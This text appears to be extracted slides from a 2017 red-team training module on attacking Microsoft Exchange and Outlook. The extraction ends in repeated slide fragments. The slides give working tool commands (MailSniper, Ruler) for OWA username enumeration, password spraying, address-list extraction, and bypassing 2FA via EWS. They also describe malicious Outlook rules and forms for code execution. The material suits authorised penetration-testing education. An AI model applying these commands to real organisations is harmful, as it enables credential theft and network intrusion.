5-Red Teaming Exchange

5.1.
Introduction
5.2. Exchange fundamentals
5.3. Attacking externally
5.4. Attacking from the inside
PT e treme - Caendra Inc. © 2017

The majority of organizations base their e-mail infrastructure
on MS Exchange Server and Outlook. Those two
components, as we will see in this module, offer capabilities
that can greatly assist us in a Red Team engagement.

Exchange is a Microsoft product that the majority of people
are familiar with.
The currently supported versions are 2007, 2010, 2013 and

2016.

Office 365 and Outlook.com are built on top of Exchange.
Consequently, any attack we could perform against an
Exchange server, can be also performed against an Office365
or Outlook.com profile.

Exchange has a few remote access protocols that we can
abuse. One of them is Exchange Web Services (EWS).

Protocols
EWS is essentially SOAP over HTTP and is used prevalently

across applications, Windows mobile devices etc., and
especially in newer versions of Exchange.

Protocols
Another one, which is sort of a predecessor of all others, is

Outlook Anywhere. Outlook Anywhere is essentially RPC
over HTTP or sub-protocols underneath RPC over HTTP, for
example MAPI over RPC over HTTP.

Protocols
As of Exchange 2013, Microsoft gave up on RPC and uses

straight MAPI over HTTP. Subsequently, Office365,
Outlook.com and any Exchange 2013+ servers typically
support direct MAPI over HTTP.

Protocols
Finally, there is Exchange ActiveSync (EAS), which is an older

protocol using HTTP and XML. EAS is typically used for older
mobile devices, since it is a high latency/low bandwidth
network protocol.

Protocols
It should be noted that EAS can also be found on internal

networks. There are specific ways in which we can abuse EAS
on a network, to access assets that are out of our reach. We
will cover those ways in this module.

Let’s see some interesting Exchange functions and
components.
• AutoDiscover
• Outlook Web App (OWA)
• Global Address List (GAL)
• Outlook Rules
• Outlook Forms

First, let’s give AutoDiscover a look. AutoDiscover is a service
used for rapidly gathering Exchange configurations, protocol
support and service URLs.

Autodiscover
Usually, whenever we setup a profile in Outlook and we type

our e-mail and password, AutoDiscover is the one
discovering the appropriate exchange server and building
our e-mail profile in general.

Autodiscover
There is usually a publically available subdomain configured

for the Autodiscover service.
Consequently, during our reconnaissance activities, we can

look for AutoDiscover by typing
“autodiscover.domain.com/autodiscover/autodiscover.xml”.

Autodiscover
Other possible locations are:
“mail.domain.com/autodiscover/autodiscover.xml”
“webmail.domain.com/autodiscover/autodiscover.xml”
“domain.com/autodiscover/autodiscover.xml”

Autodiscover
In the majority of cases it will be locked with NTLM

authentication. This XML file contains what the Exchange
server supports.

Another interesting component is Outlook Web App (OWA).
OWA is essentially a minimal E-Mail client accessible through
the internet.

Global Address List (GAL) is also an interesting Exchange
component. GAL offers users, that are using Exchange from
outside of the organization and don’t have an interface to
Active Directory, the ability to pull down a list of all the
organization’s e-mails.
*To return to slide 74, click HERE.

Exchange supports a very powerful Outlook feature called
Outlook Rules. As Microsoft states: an Outlook rule is an
action, that Outlook for Windows runs automatically on
incoming or outgoing messages.

Outlook Rules
We choose what triggers the rule as well as the actions the

rule takes. As mentioned above an Outlook rule comes in
two parts, a trigger and an action. There could be multiple
triggers that could cause multiple actions.

Outlook Rules
A trigger, for example, could be receiving an e-mail from a

specific person containing a specific keyword in the subject.
Rules can be created both Server side (OWA, Outlook.com)
and Client side (Outlook).

Outlook Rules
Keep in mind that rules built server-side and rules built

client-side are not 100% compatible.

Outlook Rules
As far as rule actions are concerned, there are server-side

actions (e.g. mark an e-mail as important), which can be
processed immediately on the Exchange server, and client-
side actions (e.g. execute an application), which are actions
based on the Outlook client.

Outlook Rules
What happens in the case of client-side actions is the

following. There is a hidden folder inside everyone’s e-mail
profile called the deferred action folder.

Outlook Rules
When the server side wants the client side to perform the
actions associated with a rule, it actually puts an action
message in that folder.

Outlook Rules
Then, the client syncs, and Outlook looks in that hidden

folder and identifies the message (which has a rule ID
associated with it).

Outlook Rules
Finally, Outlook will look up that rule locally and execute the
actions associated with it. So, the server is supplying a
message to Outlook, so that it knows it needs to execute
rules.

Outlook Rules
The interesting thing with this mechanism is, for example, if

we have four e-mail profiles on four different boxes and we
create a rule on one of them, it will hit the Exchange server
and get synched down to all four machines, so that they can
all process the rule as well.

Outlook Rules
This is what we are going to misuse in the following slides, to

get an initial foothold and spread the compromise.

The last powerful Outlook feature that we are going to cover
and that Exchange supports, is Outlook forms. Outlook forms
are an Outlook automation feature that provides
customization capabilities to the end user.

Outlook Forms
There are two things from an offensive perspective, that are

interesting in Outlook forms.
1. The VBScript engine that Outlook forms use is separate from the VBA
Macro script engine. So, disabling macros won’t affect us.
2. When an Outlook form gets published into a folder, this form will be
synced down to all instances of Outlook by the Exchange server. Just like
Outlook rules do.

Outlook Forms
We are going to leverage the abovementioned in the next

slides to perform advanced phishing attacks.

Let’s now see how can we attack the corporate e-mail, from
outside the organization.

Reconnaissance OWA Discovery
Starting Point (Remote) Remote Compromise Internal Domain Discovery
Remote Access Malicious Outlook

Through VPN/RDP Rules/Forms
2FA Bypass Naming Schema Fuzzing
Internal Phishing
More Password Discovery Username Enumeration
GAL Extraction Password Discovery


Internal Phishing

When attacking the corporate e-mail from the outside, a fair
amount of organization-related information should have
been gathered, prior to the attack.

Recon & OWA Discovery
We would like to collect e-mails, (possible or actual)

usernames and maybe passwords, related to the
organization we are targeting. Understanding the e-mail/user
account naming schema is also vital.

Public sources, social media and Open Source Intelligence

(OSINT) techniques can assist us in fulfilling these purposes.

We assume you have familiarity with tools like fierce, FOCA,

recon-ng, discover, theHarvester etc. and therefore, we are
not going to cover them. Familiarity with subdomain and link
discovery is also assumed.


Internal Phishing
More Password Spraying Username Enumeration
GAL Extraction Password Spraying

What we will cover are some effective enumeration
techniques, that leverage some inefficiencies in the OWA’s
user authentication process.

Domain Name Discovery
BHIS brought to light that any internet facing OWA portal can
assist us in performing internal domain name enumeration,
due to the OWA user authentication process having
anomalies in terms of response times.

Specifically, if we try to authenticate with an invalid domain

and an arbitrary username, that response time is going to be
predictably shorter than the response time for a request
with a valid internal domain name and an arbitrary
username.

Knowing the domain name is critical, since based on it we

are going to launch password spraying attacks, to identify
valid credentials.

The whole abovementioned procedure can be automated by

MailSniper. This will provide us with a list of random domain
names and a list of likely to be valid domain names (so that
the baseline response time can be calculated).

All we have to do to perform internal domain enumeration

against and internet facing OWA portal, is execute the
following commands.
>> Import-Module .\MailSniper.ps1
>> Invoke-DomainHarvestOWA –ExchHostname mail.domain.com –OutFile potential_domains.txt –

CompanyName "Target Name"

Trying this on our testing domain “ELS” returns the following.

It should be noted that an organization’s internal domain

name may also be found inside a self-signed SSL certificate.

We strongly suggest that you go through the following

OWASP-derived presentation containing other techniques for
internal Domain name discovery, among other useful tactics
on hacking corporate e-mail.
Hacking Corporate Em@il Systems


Internal Phishing

Before we try enumerating valid usernames, an extensive
username list must be created. This username list must cover
all possible naming schemas.

Naming Schema Fuzzing
The EmailAddressMangler script can assist us in generating a

mangled username list, based on the employee names that
we have gathered during the reconnaissance phase. Using
EmailAddressMangler we can make the naming schema
fuzzing process both faster and easier.

Naming Schema Fuzzing
For example, let’s create a list of all possible usernames,

using the first and last names we discovered and following
the “first_namelast_name@domain.com” convention. To
create such a list we must execute the following.
>> Import-Module .\EmailAddressMangler.ps1
>> Invoke-EmailAddressMangler -FirstNamesList .\first_names.txt -LastNamesList

.\last_names.txt
-AddressConvention fnln | Out-File -Encoding ascii namelist.txt


Internal Phishing

Fortunately for a Penetration Tester / Red Team member, an
OWA portal showcases the same anomalies, in terms of
response time, in reverse, when attempting to identify valid
usernames.

Username Enumeration
Specifically, if we attempt to authenticate with a valid

domain name and an invalid username, that response time is
going to be predictably longer than the response time for an
authentication attempt with a valid domain name and a valid
username.

Once again, the whole abovementioned procedure can be

automated by MailSniper.
>> Invoke-UsernameHarvestOWA –UserList .\username_list.txt –ExchHostname mail.domain.com –

Domain the_identified_internal_domain_name –OutFile potential_usernames.txt



Internal Phishing

With all organization-related information gathered, let’s try
to identify valid credentials…

Password Discovery
First, we can brute force the target’s OWA. Remaining

faithful to the Red Team’s approach (and to avoid locking
accounts), we can perform password spraying against an
organization’s OWA login page.

Password Discovery
Password spraying can be executed using MailSniper or Burp

Suite’s Intruder. Using MailSniper we would do the following.
>> Invoke-PasswordSprayOWA -ExchHostname mail.domain.com –UserList

.\potential_usernames.txt
-Password P@ssw0rd123 -Threads 15 -OutFile owa-sprayed-creds.txt

Password Discovery

Password Discovery
Then, we can perform a similar brute force attack against an

organization’s EWS using again MailSniper or alternatively
OWA-Toolkit, a set of PowerShell Cmdlets built for interfacing
with EWS.
>> Invoke-PasswordSprayEWS -ExchHostname mail.domain.com -UserList .\userlist.txt -

Password Fall2016 -Threads 15 -OutFile sprayed-ews-creds.txt

Password Discovery

Password Discovery
Finally, for cases where NTLM HTTP authentication is utilized,

we can perform a brute force attack against it using the
“requests” Python library.

Password Discovery
We can also leverage the spear-phishing techniques and best

practices we covered to perform credential harvesting
attacks via e-mail.

Password Discovery
Compromising an organization’s blog (e.g. WordPress) or

internet facing web page in general, is another option of
acquiring credentials, since password reuse is a very
common phenomenon.


Internal Phishing

Once we identify a valid set of credentials, we can leverage
the Global Address List (GAL) to pull down a list of all the
organization’s e-mails.

GAL Extraction
The Global Address List (GAL) can be extracted using

MailSniper, OWA-Toolkit or Burp Suite. Using MailSniper you
can do this by executing the following commands.
>> Get-GlobalAddressList -ExchHostname mail.domain.com –UserName domain\username -Password

Fall2016 -OutFile global-address-list.txt

GAL Extraction

GAL Extraction
For the same procedure using Burp, simply proxy your web
traffic through Burp, enable “Live Scanning”, open OWA and
browse the corporation’s address book in its entirety. Every
e-mail account will be documented in Burp’s issues report
(“Email addresses disclosed”).


Internal Phishing

With the Global Address List pulled down we can perform
even more targeted password spraying or phishing attacks

Let’s see what happens in case of an account with Two
Factor Authentication (2FA) configured.

2FA
Both the user enumeration and password spraying

techniques we covered are also effective against accounts
with 2FA configured.

2FA
As far as user enumeration, against a 2FA protected account

is concerned, we can still identify valid usernames by
analyzing response anomalies.

2FA
What about password spraying against 2FA protected

accounts?

2FA
Let’s take for example Microsoft’s Multi-Factor

Authentication (MFA). By closely inspecting server responses,
we can conclude whether the supplied password was correct
or not.

2FA
Specifically, the response after the submission of a correct

password is slightly different than the response after the
submission of an incorrect password.


Internal Phishing

Valid credentials are not enough in case an account has Two
Factor Authentication (2FA) configured. We will have to find
a way to get around this protection mechanism.

2FA Bypass
Fortunately for a Red Team member, a great number of 2FA

software vendors do not cover all available Exchange
protocols.

2FA Bypass
This means, for example, that access to OWA may be

protected by 2FA but the mailbox can be accessed via EWS,
without entering any 2FA-derived One Time Password.

2FA Bypass
If this is the case, you could access the target’s mailbox

through EWS by executing the following.
>> Invoke-SelfSearch -Mailbox target@domain.com -ExchHostname mail.domain.com -remote

2FA Bypass

2FA Bypass
Invoke-SelfSearch can also take various parameters to customize the mailbox search.
• .PARAMETER Terms
Certain terms to search through each email subject and body for.
• .PARAMETER Folder
The folder of each mailbox to search.
• .PARAMETER Regex
The regex parameter allows for the use of regular expressions when doing searches.
• .PARAMETER CheckAttachments
This option will attempt to search through the contents of email attachments in addition
to the default body/subject.

Internal Phishing

Spreading The Compromise
After acquiring valid credentials there are four paths we can

follow to spread the compromise.
1. Pillaging mailboxes for credentials/sensitive data
2. Internal Phishing
3. Malicious Outlook Rules
4. Malicious Outlook Forms

1. Pillaging mailboxes for credentials/sensitive data
For starters, we could perform sensitive information

harvesting against every mailbox we managed to have access
to. Any VPN/RDP passwords, as well as certificates are of
interest to us.

A variety of tools exist with mailbox pillaging capabilities,
such as.
• owaDump (--keyword option)
• MailSniper (Invoke-SelfSearch)
• EmailRaider (Invoke-MailSearch)
• PowerOutlook (New-DynamicOutlookTrigger.ps1 could be customized for
pillaging activities)

2. Internal Phishing
Valid credentials enable us to impersonate internal users.

This means that we will have already built a trust
relationship, prior to any attack. We can therefore spread the
compromise via creative internal phishing activities. Various
types of credentials like E-mail/VPN/RDP credentials could
be gathered this way.

3. Malicious Outlook Rules
The best way to get an initial foothold inside the targeted

network as well as spread the compromise, is through
malicious Outlook rules.

Malicious Outlook Rules
When we are building a rule and get to the actions portion,

two things seem interesting. “start application” and “run a
script”.

We will be focusing on “start application” due to the fact that

“run a script” (kind of developing macros, associated with
the e-mail profile) is not synched through the Exchange
server, but “start application” is.

Bear in mind that “run a script” could be used for stealthy

persistence.

Attack Prerequisites
• Identification of valid credentials
• Exchange service access (via RPC or MAPI over HTTP)
• Malicious file dropped on disk (through WebDAV share
using UNC or local SMB share when physically inside)

Use Cases & Advantages

• Overcomes the local administrator privileges obstacle
• Overcomes network segmentation
• Stealthy persistence
• Minimal interaction with the target

Disadvantages
• Microsoft has released a patch for Outlook 2016 that
disables both Run Application and Run Script rules by
default
If Outlook is patched, we can shift to the malicious Outlook

forms method we will cover in the next few slides.

To create and execute a malicious Outlook rule, perform the

following.
1. Create a malicious executable (EXE, HTA, BAT, LNK etc.) and host it on an
open WebDAV share
2. Create a malicious Outlook rule using the Rulz.py script, pointing the file
path to your WebDAV share
3. Run a local Outlook instance using the target’s credentials and import the
malicious rule you created. (File – Manager Rules & Alerts – Options –
Import Rules)
4. Send the trigger e-mail

NOTE: Outlook rules can also be used as a means of stealthy
persistence. The following tool can help you in achieving just
that.
https://github.com/mwrlabs/XRulez

4. Malicious Outlook Forms
If the target has applied the Outlook patch that disables both
Run Application and Run Script rules, we could perform
another powerful attack that misuses Outlook forms. This
phishing attack will result in code execution, leveraging the
VBScript engine that Outlook forms use.

Malicious Outlook Forms
Attack Prerequisites
• Identification of valid credentials
• Exchange service access

Use Cases & Advantages

• Overcomes the local administrator privileges obstacle
• Overcomes network segmentation

Disadvantages
• Some interaction with the target is required
• KB4011091 for Outlook 2016 seems to block VBScript in
forms

To weaponize Outlook forms, we can use Sensepost's Ruler.

With a valid set of e-mail credentials, we can create a
malicious form and send a trigger e-mail by executing the
following. The result will be execution of the command/code
which is specified in the command.txt file.
>> ./ruler --email target@domain.com form add --suffix form_name --input /tmp/command.txt
--send

SMB Relaying to
External EWS &
Stealthily Backdooring
Windows Servers

Let’s now see how can we attack the corporate e-mail, from
inside the organization’s network.

All of the techniques we covered on the previous section can
also be used when delivering a Red Team engagement or
penetration test against an internal network.

In addition, the timing attacks we performed against OWA
portals can be used against internal AD Domain Controllers
as well.

The only additional attack that can occur from inside an
organization’s network is misusing Exchange ActiveSync (EAS)
in an attempt to access internal fileshares.

Accessing internal fileshares through Exchange ActiveSync
has been documented on the following link
https://labs.mwrinfosecurity.com/blog/accessing-internal-
fileshares-through-exchange-activesync/. It should be noted
that this attack applies when the DC and the Exchange Server
are hosted on the same machine.

AutoDiscover MailSniper
Outlook Rules Hacking Corporate Em@il Systems
fierce EmailAddressMangler
FOCA Burp Suite
recon-ng OWA-Toolkit
discover “requests” Python library
theHarvester owaDump
BHIS EmailRaider

PowerOutlook Rulz.py
XRulez Ruler
Accessing Internal Fileshares through Exchange

ActiveSync

5-Red Teaming Exchange

Uploaded by

Document Information

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

5-Red Teaming Exchange

Uploaded by

Copyright:

Available Formats

5.1.

5.2. Exchange fundamentals

5.3. Attacking externally

5.4. Attacking from the inside

PT e treme - Caendra Inc. © 2017

PT e treme - Caendra Inc. © 2017

The currently supported versions are 2007, 2010, 2013 and

PT e treme - Caendra Inc. © 2017

PT e treme - Caendra Inc. © 2017

PT e treme - Caendra Inc. © 2017

EWS is essentially SOAP over HTTP and is used prevalently

PT e treme - Caendra Inc. © 2017

Another one, which is sort of a predecessor of all others, is

PT e treme - Caendra Inc. © 2017

As of Exchange 2013, Microsoft gave up on RPC and uses

PT e treme - Caendra Inc. © 2017

Finally, there is Exchange ActiveSync (EAS), which is an older

PT e treme - Caendra Inc. © 2017

It should be noted that EAS can also be found on internal

PT e treme - Caendra Inc. © 2017

PT e treme - Caendra Inc. © 2017

PT e treme - Caendra Inc. © 2017

Usually, whenever we setup a profile in Outlook and we type

PT e treme - Caendra Inc. © 2017

There is usually a publically available subdomain configured

Consequently, during our reconnaissance activities, we can

PT e treme - Caendra Inc. © 2017

Other possible locations are:

PT e treme - Caendra Inc. © 2017

In the majority of cases it will be locked with NTLM

PT e treme - Caendra Inc. © 2017

PT e treme - Caendra Inc. © 2017

*To return to slide 74, click HERE.

PT e treme - Caendra Inc. © 2017

We choose what triggers the rule as well as the actions the

PT e treme - Caendra Inc. © 2017

A trigger, for example, could be receiving an e-mail from a

PT e treme - Caendra Inc. © 2017

Keep in mind that rules built server-side and rules built

PT e treme - Caendra Inc. © 2017

As far as rule actions are concerned, there are server-side

PT e treme - Caendra Inc. © 2017

What happens in the case of client-side actions is the

PT e treme - Caendra Inc. © 2017

PT e treme - Caendra Inc. © 2017

Then, the client syncs, and Outlook looks in that hidden

PT e treme - Caendra Inc. © 2017

PT e treme - Caendra Inc. © 2017

The interesting thing with this mechanism is, for example, if

PT e treme - Caendra Inc. © 2017

This is what we are going to misuse in the following slides, to

PT e treme - Caendra Inc. © 2017

PT e treme - Caendra Inc. © 2017

There are two things from an offensive perspective, that are

PT e treme - Caendra Inc. © 2017

We are going to leverage the abovementioned in the next

PT e treme - Caendra Inc. © 2017

PT e treme - Caendra Inc. © 2017

Starting Point (Remote) Remote Compromise Internal Domain Discovery

Remote Access Malicious Outlook

GAL Extraction Password Discovery

PT e treme - Caendra Inc. © 2017

Starting Point (Remote) Remote Compromise Internal Domain Discovery

Remote Access Malicious Outlook